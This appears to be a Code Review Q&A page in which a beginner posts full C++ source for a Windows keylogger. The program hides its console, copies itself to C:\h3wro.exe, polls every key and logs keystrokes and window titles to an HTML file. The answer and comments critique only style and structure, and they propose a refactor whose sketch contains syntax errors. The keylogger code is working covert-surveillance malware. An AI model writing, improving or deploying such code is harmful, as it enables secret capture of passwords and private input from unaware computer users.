I am newbie (here and in C/C++ - WinAPI) so I want to ask you, what you think about my Windows Keylogger in C++? I've worked on it a few days.
Features of keylogger for now:
- Self-copying to C:\ directory
- Saving keystrokes to an .html file
- Working in background
My questions:
- Are names of variables are correct?
- What can I do to improve getting foreground window (actually not always works)?
h3wroKeylogger.cpp
#include <windows.h>
#include <iostream>
#include <string>
#include <fstream>
#include <ctime>
#include <shlobj.h>
HWND hCurrentWindow;
char sWindowTitle[256];
bool is_capslock = false;
int iBackspaceCounter = 0;
int save(int key)
{
std::ofstream out_file;
out_file.open("logs.html", std::ios_base::app);
std::string sLogs = "";
time_t t = time(0);
if (hCurrentWindow != GetForegroundWindow())
{
hCurrentWindow = GetForegroundWindow();
char title[256];
GetWindowTextA(hCurrentWindow, title, sizeof(title));
sLogs += "<font size=\"3\"><br><br><b>";
sLogs += asctime(localtime(&t));
sLogs += "<br>Window name: ";
sLogs += title;
sLogs += "]</b><br></font>";
}
if ((GetAsyncKeyState(VK_CAPITAL) & 0x0001) != 0) {
is_capslock = true;
}
switch (key) {
case 1:
return 0;
break;
case 2:
return 0;
break;
//-----------------------------------------------------------------------
//End of mouse
//-----------------------------------------------------------------------
case 96:
iBackspaceCounter = 0;
sLogs += "0";
break;
case 97:
iBackspaceCounter = 0;
sLogs += "1";
break;
case 98:
iBackspaceCounter = 0;
sLogs += "2";
break;
case 99:
iBackspaceCounter = 0;
sLogs += "3";
break;
case 100:
iBackspaceCounter = 0;
sLogs += "4";
break;
case 101:
iBackspaceCounter = 0;
sLogs += "5";
break;
case 102:
iBackspaceCounter = 0;
sLogs += "6";
break;
case 103:
iBackspaceCounter = 0;
sLogs += "7";
break;
case 104:
iBackspaceCounter = 0;
sLogs += "8";
break;
case 105:
iBackspaceCounter = 0;
sLogs += "9";
break;
//-----------------------------------------------------------------------
//End of numpad digits
//-----------------------------------------------------------------------
case 48:
iBackspaceCounter = 0;
if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
sLogs += ")";
}
else
sLogs += "0";
break;
case 49:
iBackspaceCounter = 0;
if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
sLogs += "!";
}
else
sLogs += "1";
break;
case 50:
iBackspaceCounter = 0;
if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
sLogs += "@";
}
else
sLogs += "2";
break;
case 51:
iBackspaceCounter = 0;
if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
sLogs += "#";
}
else
sLogs += "3";
break;
case 52:
iBackspaceCounter = 0;
if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
sLogs += "$";
}
else
sLogs += "4";
break;
case 53:
iBackspaceCounter = 0;
if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
sLogs += "%";
}
else
sLogs += "5";
break;
case 54:
iBackspaceCounter = 0;
if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
sLogs += "^";
}
else
sLogs += "6";
break;
case 55:
iBackspaceCounter = 0;
if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
sLogs += "&";
}
else
sLogs += "7";
break;
case 56:
iBackspaceCounter = 0;
if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
sLogs += "*";
}
else
sLogs += "8";
break;
case 57:
iBackspaceCounter = 0;
if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
sLogs += "(";
}
else
sLogs += "9";
break;
//-----------------------------------------------------------------------
//End of digits
//-----------------------------------------------------------------------
case 65:
iBackspaceCounter = 0;
if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
if (GetAsyncKeyState(VK_MENU)) {
sLogs += "Ą";
}
else
sLogs += "A";
}
else {
if (GetAsyncKeyState(VK_MENU)) {
sLogs += "ą";
}
else
sLogs += "a";
}
break;
case 66:
iBackspaceCounter = 0;
if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
sLogs += "B";
}
else
sLogs += "b";
break;
case 67:
iBackspaceCounter = 0;
if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
if (GetAsyncKeyState(VK_MENU)) {
sLogs += "Ć";
}
else {
sLogs += "C";
}
}
else {
if (GetAsyncKeyState(VK_MENU)) {
sLogs += "ć";
}
else {
sLogs += "c";
}
}
break;
case 68:
iBackspaceCounter = 0;
if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
sLogs += "D";
}
else
sLogs += "d";
break;
case 69:
iBackspaceCounter = 0;
if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
if (GetAsyncKeyState(VK_MENU)) {
sLogs += "Ę";
}
else {
sLogs += "E";
}
}
else {
if (GetAsyncKeyState(VK_MENU)) {
sLogs += "ę";
}
else {
sLogs += "e";
}
}
break;
case 70:
iBackspaceCounter = 0;
if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
sLogs += "F";
}
else
sLogs += "f";
break;
case 71:
iBackspaceCounter = 0;
if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
sLogs += "G";
}
else
sLogs += "g";
break;
case 72:
iBackspaceCounter = 0;
if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
sLogs += "H";
}
else
sLogs += "h";
break;
case 73:
iBackspaceCounter = 0;
if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
sLogs += "I";
}
else
sLogs += "i";
break;
case 74:
iBackspaceCounter = 0;
if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
sLogs += "J";
}
else
sLogs += "j";
break;
case 75:
iBackspaceCounter = 0;
if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
sLogs += "K";
}
else
sLogs += "k";
break;
case 76:
iBackspaceCounter = 0;
if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
if (GetAsyncKeyState(VK_MENU)) {
sLogs += "Ł";
}
else {
sLogs += "L";
}
}
else {
if (GetAsyncKeyState(VK_MENU)) {
sLogs += "&322";
}
else {
sLogs += "l";
}
}
break;
case 77:
iBackspaceCounter = 0;
if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
sLogs += "M";
}
else
sLogs += "m";
break;
case 78:
iBackspaceCounter = 0;
if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
if (GetAsyncKeyState(VK_MENU)) {
sLogs += "Ń";
}
else {
sLogs += "N";
}
break;
}
else {
if (GetAsyncKeyState(VK_MENU)) {
sLogs += "ń";
}
else {
sLogs += "n";
}
}
break;
case 79:
iBackspaceCounter = 0;
if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
if (GetAsyncKeyState(VK_MENU)) {
sLogs += "Ó";
}
else {
sLogs += "O";
}
break;
}
else {
if (GetAsyncKeyState(VK_MENU)) {
sLogs += "ó";
}
else {
sLogs += "o";
}
}
break;
case 80:
iBackspaceCounter = 0;
if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
sLogs += "P";
break;
}
else
sLogs += "p";
break;
case 81:
iBackspaceCounter = 0;
if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
sLogs += "Q";
break;
}
else
sLogs += "q";
break;
case 82:
iBackspaceCounter = 0;
if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
sLogs += "R";
break;
}
else
sLogs += "r";
break;
case 83:
iBackspaceCounter = 0;
if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
if (GetAsyncKeyState(VK_MENU)) {
sLogs += "Ś";
}
else {
sLogs += "S";
}
break;
}
else {
if (GetAsyncKeyState(VK_MENU)) {
sLogs += "ś";
}
else {
sLogs += "s";
}
}
break;
case 84:
iBackspaceCounter = 0;
if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
sLogs += "T";
break;
}
else
sLogs += "t";
break;
case 85:
iBackspaceCounter = 0;
if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
sLogs += "U";
break;
}
else {
if (GetAsyncKeyState(VK_MENU)) {
sLogs += "€";
}
else {
sLogs += "u";
}
}
break;
case 86:
iBackspaceCounter = 0;
if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
sLogs += "V";
break;
}
else
sLogs += "v";
break;
case 87:
iBackspaceCounter = 0;
if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
sLogs += "W";
break;
}
else
sLogs += "w";
break;
case 88:
iBackspaceCounter = 0;
if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
if (GetAsyncKeyState(VK_MENU)) {
sLogs += "Ź";
}
else {
sLogs += "X";
}
break;
}
else {
if (GetAsyncKeyState(VK_MENU)) {
sLogs += "ź";
}
else {
sLogs += "x";
}
}
break;
case 89:
iBackspaceCounter = 0;
if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
sLogs += "Y";
break;
}
else
sLogs += "y";
break;
case 90:
iBackspaceCounter = 0;
if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
if (GetAsyncKeyState(VK_MENU)) {
sLogs += "Ż";
}
else {
sLogs += "Z";
}
break;
}
else {
if (GetAsyncKeyState(VK_MENU)) {
sLogs += "ż";
}
else {
sLogs += "z";
}
}
//-----------------------------------------------------------------------
//End of A-Z characters
//-----------------------------------------------------------------------
case 13:
iBackspaceCounter = 0;
sLogs += "\n";
break;
case 20:
iBackspaceCounter = 0;
if (is_capslock == false) {
is_capslock = true;
sLogs += "<font size=\"1\">[CapsLock]</font>";
}
else {
is_capslock = false;
sLogs += "<font size=\"1\">[/CapsLock]</font>";
}
break;
case VK_BACK:
iBackspaceCounter += 1;
sLogs += "<font size=\"1\">[";
sLogs += iBackspaceCounter + '0';
sLogs += "x";
sLogs += "Backspace]</font>";
break;
case VK_SPACE:
iBackspaceCounter = 0;
sLogs += " ";
break;
case VK_MULTIPLY:
iBackspaceCounter = 0;
sLogs += "*";
break;
case VK_ADD:
iBackspaceCounter = 0;
sLogs += "+";
break;
case VK_SUBTRACT:
iBackspaceCounter = 0;
sLogs += "-";
break;
case VK_DECIMAL:
iBackspaceCounter = 0;
sLogs += ".";
break;
case VK_DIVIDE:
iBackspaceCounter = 0;
sLogs += "/";
break;
default:
break;
}
out_file << sLogs;
out_file.close();
return 0;
}
void stealth() {
HWND stealth;
AllocConsole();
stealth = FindWindowA("consoleWindowClass", NULL);
ShowWindow(stealth, 0);
}
using namespace std;
int main(int argc, char * argv[]) {
stealth();
char buffer[MAX_PATH];
::GetModuleFileNameA(NULL, buffer, MAX_PATH);
//It swap / with //
char sPath[MAX_PATH];
int iIndexCounter = 0;
for (int i = 0; i <= MAX_PATH; i++) {
if (buffer[i] == '\\') {
sPath[i + iIndexCounter] = '\\';
iIndexCounter += 1;
sPath[i + iIndexCounter] = '\\';
continue;
}
sPath[i + iIndexCounter] = buffer[i];
}
char sDocumentsPath[MAX_PATH];
HRESULT result = SHGetFolderPathA(NULL, CSIDL_PERSONAL, NULL, 0, sDocumentsPath);
char sDocumentsPathResult[MAX_PATH];
//It swap / with //
int iIndexCounterDoc = 0;
for (int i = 0; i <= MAX_PATH; i++) {
if (sDocumentsPath[i] == '\\') {
sDocumentsPathResult[i + iIndexCounterDoc] = '\\';
iIndexCounterDoc += 1;
sDocumentsPathResult[i + iIndexCounterDoc] = '\\';
continue;
}
sDocumentsPathResult[i + iIndexCounterDoc] = sDocumentsPath[i];
}
char sCompleteDocPath[MAX_PATH];
strcpy(sCompleteDocPath, sDocumentsPathResult);
//strcpy(sCompleteDocPath, "\\h3wro.exe");
BOOL b = CopyFileA(sPath, "C:\\h3wro.exe", 0);
if (!b) {
std::cout << "Error: " << GetLastError() << std::endl;
}
else {
std::cout << "Okay " << std::endl;
}
char i;
while (1) {
for (i = 8; i <= 190; i++) {
if (GetAsyncKeyState(i) == -32767)
save(i);
}
}
return 0;
}
1 Answer 1
A few thoughts:
1. Fix your formatting
Code that appears within a function scope should be indented by another set of spaces (tab):
int save(int key)
{
std::ofstream out_file;
out_file.open("logs.html", std::ios_base::app);
std::string sLogs = "";
// ...
}
=>
int save(int key)
{
std::ofstream out_file;
out_file.open("logs.html", std::ios_base::app);
std::string sLogs = "";
// ...
}
2. Do not use using namespace std;
While that would work in your particular case, it's considered bad practice. Especially when you move out your code to separate header files.
See more details here please:
Why is "using namespace std;" considered bad practice?
Also, you're prefixing your standard classes in use with std::
anyways.
3. C++ offers classes, use them
Instead of using global variables, encapsulate your stateful data in a class:
class MyKeyLogger {
HWND hCurrentWindow;
char sWindowTitle[256];
bool is_capslock = false;
int iBackspaceCounter = 0;
public:
int save(int key);
};
4. Use ofstream
efficiently
Opening and closing out_file
on every keystroke looks extremely inefficient for me.
With the above mentioned class approach, you could make out_file
a member variable, and initialize it once in the constructor:
class MyKeyLogger {
// ...
std::ofstream out_file;
public:
MyKeyLogger(std::string logfilename = "logs.html") {
out_file.open(logfilename , std::ios_base::app);
}
// ...
};
In the save()
function, it's enough to call out_file.flush();
to update the file then, instead of closing the stream.
5. Avoid large switch()
statements / if() else if()
cascades
Such kind of code is hard to read and maintain consistently.
Also I've seen that you're repeating a lot of boiler plate code, for numerous cases, e.g.:
case 66:
iBackspaceCounter = 0;
if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
sLogs += "B";
}
else
sLogs += "b";
break;
// ...
case 68:
iBackspaceCounter = 0;
if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
sLogs += "D";
}
else
sLogs += "d";
break;
A better approach would be probably to setup a small interface and a set of concrete implementations that handle particular keystrokes uniformely:
struct IKeyStrokeHandler {
virtual ~IKeyStrokeHandler() {}
bool handlesKey(int key) const = 0;
std::string doKeyTranslation(int key) const = 0;
};
// Partial implementation
class AbstractKeyStrokeHandler : public IKeyStrokeHandler {
class Key;
std::map<int,Key> handledKeys_;
protected:
struct Key {
string standardRepresentation;
string shiftRepresentation;
};
AbstractKeyStrokeHandler(const std::map<int,Key>& handledKeys)
: handledKeys_(handledKeys) {
}
public:
bool handlesKey(int key) {
return (handledKeys_.find(key) != handledKeys_.end());
}
// Retrieve the mapped values accordigly
std::string doKeyTranslation(int key) const {
if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
return handledKeys_[key].shiftRepresentation;
}
return handledKeys_[key].standardRepresentation;
}
};
// A concrete implemetation for simple key translations
class SimpleKeyStrokeHandler : public AbstractKeyStrokeHandler {
public:
SimpleKeyStrokeHandler() : AbstractKeyStrokeHandler(
std::map{
{66, {"b", "B"},
{68, {"d", "D"},
} )
{}
};
// Mouse key handler
class MouseKeyStrokeHandler : public AbstractKeyStrokeHandler {
public:
MouseKeyStrokeHandler () : AbstractKeyStrokeHandler(
std::map{
{0, {"", ""},
{1, {"", ""},
} )
{}
};
// Special key handler
class SpecialKeyStrokeHandler : public AbstractKeyStrokeHandler {
int& iBackSpaceCounter_;
public:
SpecialKeyStrokeHandler(int& iBackSpaceCounter)
: AbstractKeyStrokeHandler(
std::map{
{96, {"0", "0"},
{97, {"1", "1"},
// ...
{105, {"9", "9"},
} ),
, iBackSpaceCounter_(iBackSpaceCounter)
{}
std::string doKeyTranslation(int key) const {
iBackSpaceCounter_ = 0;
return AbstractKeyStrokeHandler::doKeyTranslation(key);
};
The various key handler implementations could be used in your key logger class like so:
class MyKeylogger {
std::vector<std::unique_ptr<IKeyStrokeHandler> keyStrokeHandlers;
MyKeyLogger() {
keyStrokeHandlers.push_back(std::make_unique<SimpleKeyStrokeHandler>());
keyStrokeHandlers.push_back(std::make_unique<MouseKeyStrokeHandler>());
keyStrokeHandlers.push_back(std::make_unique<SpecialKeyStrokeHandler>(iBackspaceCounter));
}
int save(int key)
{
// ...
for(const auto& keyStrokeHandler : keyStrokeHandlers) {
if(keyStrokeHandler->handlesKey(key)) {
sLogs += keyStrokeHandler->doKeyTranslation(key);
}
}
};
-
\$\begingroup\$ I changed
using namespace std
tousing std::cout
andusing std::endl
. Thank you for answer! \$\endgroup\$h3wro– h3wro2017年01月26日 18:58:07 +00:00Commented Jan 26, 2017 at 18:58 -
1\$\begingroup\$ @h3wro I usually don't bother with typing out these 5 more characters (
std::
). It's more hassle to keep all yourusing
statements consistent all the time than doing so. \$\endgroup\$πάντα ῥεῖ– πάντα ῥεῖ2017年01月26日 19:36:45 +00:00Commented Jan 26, 2017 at 19:36 -
2\$\begingroup\$ @h3wro I think the most important (but even most complex) part of my answer is 5.. You seriously should consider to refactor that tedious
switch()/case:
mess. \$\endgroup\$πάντα ῥεῖ– πάντα ῥεῖ2017年01月26日 20:33:52 +00:00Commented Jan 26, 2017 at 20:33 -
1\$\begingroup\$ @h3wro My proposal was the simplest thing that came to my mind. There will be better design approaches of course. Start thinking OOP and make use of interfaces. \$\endgroup\$πάντα ῥεῖ– πάντα ῥεῖ2017年01月26日 20:40:20 +00:00Commented Jan 26, 2017 at 20:40
-
1\$\begingroup\$ @h3wro Ah, OK. As mentioned there are several ways to implement that . IMO the
Key
mapped implementation cries out for the Flyweight Pattern, and certainKey
traits instantiated for particular keyboard layouts as mentioned by [email protected]. \$\endgroup\$πάντα ῥεῖ– πάντα ῥεῖ2017年01月26日 21:11:20 +00:00Commented Jan 26, 2017 at 21:11
While(1)
andfor (i = 8; i <= 190; i++)
looks like really odd. \$\endgroup\$